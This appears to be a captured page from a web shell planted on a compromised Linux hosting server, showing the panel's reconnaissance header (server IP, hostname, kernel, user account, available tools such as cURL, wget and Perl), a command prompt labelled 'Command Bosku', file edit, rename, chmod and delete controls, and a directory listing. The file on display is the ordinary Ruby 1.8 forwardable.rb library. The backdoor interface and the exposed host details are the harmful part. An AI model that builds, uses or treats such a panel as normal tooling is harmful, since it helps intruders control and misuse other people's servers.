Na}{

Server IP: 162.55.243.250

Your IP: 216.73.216.133

Web Server: LiteSpeed

System: Linux sys09.prosuperservers.com 4.18.0-553.5.1.lve.1.el8.x86_64 #1 SMP Fri Jun 14 15:38:45 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux

User: rituserver

PHP Version: 8.1.33

Disable Function: mail

MySQL: OFF

cURL: ON

WGET: ON

Perl: ON

Python: OFF

Sudo: OFF

Pkexec: OFF

Command Bosku:

Path: ~//opt/alt/ruby18/lib64/ruby/1.8/

File Content: `forwardable.rb`

# = forwardable - Support for the Delegation Pattern
#
#    $Release Version: 1.1$
#    $Revision: 16857 $
#    $Date: 2008-06-06 17:05:24 +0900 (Fri, 06 Jun 2008) $
#    by Keiju ISHITSUKA(keiju@ishitsuka.com)
#
#    Documentation by James Edward Gray II and Gavin Sinclair
#
# == Introduction
#
# This library allows you delegate method calls to an object, on a method by
# method basis.  You can use Forwardable to setup this delegation at the class
# level, or SingleForwardable to handle it at the object level.
#
# == Notes
#
# Be advised, RDoc will not detect delegated methods.
#
# <b>forwardable.rb provides single-method delegation via the
# def_delegator() and def_delegators() methods.  For full-class
# delegation via DelegateClass(), see delegate.rb.</b>
#
# == Examples
#
# === Forwardable
#
# Forwardable makes building a new class based on existing work, with a proper
# interface, almost trivial.  We want to rely on what has come before obviously,
# but with delegation we can take just the methods we need and even rename them
# as appropriate.  In many cases this is preferable to inheritance, which gives
# us the entire old interface, even if much of it isn't needed.
#
#   class Queue
#     extend Forwardable
#     
#     def initialize
#       @q = [ ]    # prepare delegate object
#     end
#     
#     # setup preferred interface, enq() and deq()...
#     def_delegator :@q, :push, :enq
#     def_delegator :@q, :shift, :deq
#     
#     # support some general Array methods that fit Queues well
#     def_delegators :@q, :clear, :first, :push, :shift, :size
#   end
# 
#   q = Queue.new
#   q.enq 1, 2, 3, 4, 5
#   q.push 6
# 
#   q.shift    # => 1
#   while q.size > 0
#     puts q.deq
#   end
# 
#   q.enq "Ruby", "Perl", "Python"
#   puts q.first
#   q.clear
#   puts q.first
#
# <i>Prints:</i>
#
#   2
#   3
#   4
#   5
#   6
#   Ruby
#   nil
#
# === SingleForwardable
#
#    printer = String.new
#    printer.extend SingleForwardable        # prepare object for delegation
#    printer.def_delegator "STDOUT", "puts"  # add delegation for STDOUT.puts()
#    printer.puts "Howdy!"
#
# <i>Prints:</i>
#
#    Howdy!

#
# The Forwardable module provides delegation of specified
# methods to a designated object, using the methods #def_delegator
# and #def_delegators.
#
# For example, say you have a class RecordCollection which
# contains an array <tt>@records</tt>.  You could provide the lookup method
# #record_number(), which simply calls #[] on the <tt>@records</tt>
# array, like this:
#
#   class RecordCollection
#     extend Forwardable
#     def_delegator :@records, :[], :record_number
#   end
#
# Further, if you wish to provide the methods #size, #<<, and #map,
# all of which delegate to @records, this is how you can do it:
#
#   class RecordCollection
#     # extend Forwardable, but we did that above
#     def_delegators :@records, :size, :<<, :map
#   end
#
# Also see the example at forwardable.rb.
#
module Forwardable

  @debug = nil
  class<<self
    # force Forwardable to show up in stack backtraces of delegated methods
    attr_accessor :debug
  end

  #
  # Shortcut for defining multiple delegator methods, but with no
  # provision for using a different name.  The following two code
  # samples have the same effect:
  #
  #   def_delegators :@records, :size, :<<, :map
  #
  #   def_delegator :@records, :size
  #   def_delegator :@records, :<<
  #   def_delegator :@records, :map
  #
  # See the examples at Forwardable and forwardable.rb.
  #
  def def_instance_delegators(accessor, *methods)
    for method in methods
      def_instance_delegator(accessor, method)
    end
  end

  #
  # Defines a method _method_ which delegates to _obj_ (i.e. it calls
  # the method of the same name in _obj_).  If _new_name_ is
  # provided, it is used as the name for the delegate method.
  #
  # See the examples at Forwardable and forwardable.rb.
  #
  def def_instance_delegator(accessor, method, ali = method)
    accessor = accessor.id2name if accessor.kind_of?(Integer)
    method = method.id2name if method.kind_of?(Integer)
    ali = ali.id2name if ali.kind_of?(Integer)

    module_eval(<<-EOS, "(__FORWARDABLE__)", 1)
      def #{ali}(*args, &block)
	begin
	  #{accessor}.__send__(:#{method}, *args, &block)
	rescue Exception
	  $@.delete_if{|s| /^\\(__FORWARDABLE__\\):/ =~ s} unless Forwardable::debug
	  Kernel::raise
	end
      end
    EOS
  end

  alias def_delegators def_instance_delegators
  alias def_delegator def_instance_delegator
end

#
# The SingleForwardable module provides delegation of specified
# methods to a designated object, using the methods #def_delegator
# and #def_delegators.  This module is similar to Forwardable, but it works on
# objects themselves, instead of their defining classes.
#
# Also see the example at forwardable.rb.
#
module SingleForwardable
  #
  # Shortcut for defining multiple delegator methods, but with no
  # provision for using a different name.  The following two code
  # samples have the same effect:
  #
  #   single_forwardable.def_delegators :@records, :size, :<<, :map
  #
  #   single_forwardable.def_delegator :@records, :size
  #   single_forwardable.def_delegator :@records, :<<
  #   single_forwardable.def_delegator :@records, :map
  #
  # See the example at forwardable.rb.
  #
  def def_singleton_delegators(accessor, *methods)
    for method in methods
      def_singleton_delegator(accessor, method)
    end
  end

  #
  # Defines a method _method_ which delegates to _obj_ (i.e. it calls
  # the method of the same name in _obj_).  If _new_name_ is
  # provided, it is used as the name for the delegate method.
  #
  # See the example at forwardable.rb.
  #
  def def_singleton_delegator(accessor, method, ali = method)
    accessor = accessor.id2name if accessor.kind_of?(Integer)
    method = method.id2name if method.kind_of?(Integer)
    ali = ali.id2name if ali.kind_of?(Integer)

    instance_eval(<<-EOS, "(__FORWARDABLE__)", 1)
       def #{ali}(*args, &block)
	 begin
	   #{accessor}.__send__(:#{method}, *args,&block)
	 rescue Exception
	   $@.delete_if{|s| /^\\(__FORWARDABLE__\\):/ =~ s} unless Forwardable::debug
	   Kernel::raise
	 end
       end
    EOS
  end

  alias def_delegators def_singleton_delegators
  alias def_delegator def_singleton_delegator
end

Edit Rename Chmod Delete

FILE FOLDER

Name	Size	Permission
bigdecimal	---	0755
cgi	---	0755
date	---	0755
digest	---	0755
dl	---	0755
drb	---	0755
io	---	0755
irb	---	0755
net	---	0755
openssl	---	0755
optparse	---	0755
racc	---	0755
rdoc	---	0755
rexml	---	0755
rinda	---	0755
rss	---	0755
runit	---	0755
shell	---	0755
soap	---	0755
test	---	0755
uri	---	0755
webrick	---	0755
wsdl	---	0755
x86_64-linux	---	0755
xmlrpc	---	0755
xsd	---	0755
yaml	---	0755
English.rb	5732 bytes	0644
Env.rb	274 bytes	0644
abbrev.rb	2563 bytes	0644
base64.rb	3451 bytes	0644
benchmark.rb	18155 bytes	0644
cgi-lib.rb	7056 bytes	0644
cgi.rb	75507 bytes	0644
complex.rb	13147 bytes	0644
csv.rb	25046 bytes	0644
date.rb	54297 bytes	0644
date2.rb	128 bytes	0644
debug.rb	21104 bytes	0644
delegate.rb	9019 bytes	0644
digest.rb	1145 bytes	0644
drb.rb	19 bytes	0644
e2mmap.rb	4134 bytes	0644
erb.rb	21893 bytes	0644
eregex.rb	487 bytes	0644
expect.rb	633 bytes	0644
fileutils.rb	43242 bytes	0644
finalize.rb	5505 bytes	0644
find.rb	1880 bytes	0644
forwardable.rb	6311 bytes	0644
ftools.rb	6316 bytes	0644
generator.rb	8294 bytes	0644
getoptlong.rb	15234 bytes	0644
getopts.rb	2306 bytes	0644
gserver.rb	6585 bytes	0644
importenv.rb	590 bytes	0644
ipaddr.rb	22484 bytes	0644
irb.rb	7608 bytes	0644
jcode.rb	4400 bytes	0644
kconv.rb	8319 bytes	0644
logger.rb	18010 bytes	0644
mailread.rb	1315 bytes	0644
mathn.rb	5549 bytes	0644
matrix.rb	27861 bytes	0644
md5.rb	411 bytes	0644
mkmf.rb	51862 bytes	0644
monitor.rb	8116 bytes	0644
mutex_m.rb	2122 bytes	0644
observer.rb	5278 bytes	0644
open-uri.rb	20982 bytes	0644
open3.rb	2148 bytes	0644
openssl.rb	575 bytes	0644
optparse.rb	48252 bytes	0644
ostruct.rb	3435 bytes	0644
parsearg.rb	1591 bytes	0644
parsedate.rb	1359 bytes	0644
pathname.rb	30091 bytes	0644
ping.rb	1517 bytes	0644
pp.rb	16349 bytes	0644
prettyprint.rb	18775 bytes	0644
profile.rb	90 bytes	0644
profiler.rb	1627 bytes	0644
pstore.rb	11417 bytes	0644
rational.rb	12339 bytes	0644
readbytes.rb	835 bytes	0644
resolv-replace.rb	1590 bytes	0644
resolv.rb	58195 bytes	0644
rss.rb	504 bytes	0644
rubyunit.rb	180 bytes	0644
scanf.rb	21128 bytes	0644
securerandom.rb	4369 bytes	0644
set.rb	27726 bytes	0644
sha1.rb	418 bytes	0644
shell.rb	4767 bytes	0644
shellwords.rb	4086 bytes	0644
singleton.rb	8271 bytes	0644
sync.rb	6232 bytes	0644
tempfile.rb	4978 bytes	0644
thread.rb	104 bytes	0644
thwait.rb	4420 bytes	0644
time.rb	32338 bytes	0644
timeout.rb	3077 bytes	0644
tmpdir.rb	3783 bytes	0644
tracer.rb	2792 bytes	0644
tsort.rb	8185 bytes	0644
un.rb	4646 bytes	0644
uri.rb	710 bytes	0644
weakref.rb	2748 bytes	0644
webrick.rb	811 bytes	0644
yaml.rb	12652 bytes	0644

Command Bosku:

File Content: forwardable.rb

Login

File Content: `forwardable.rb`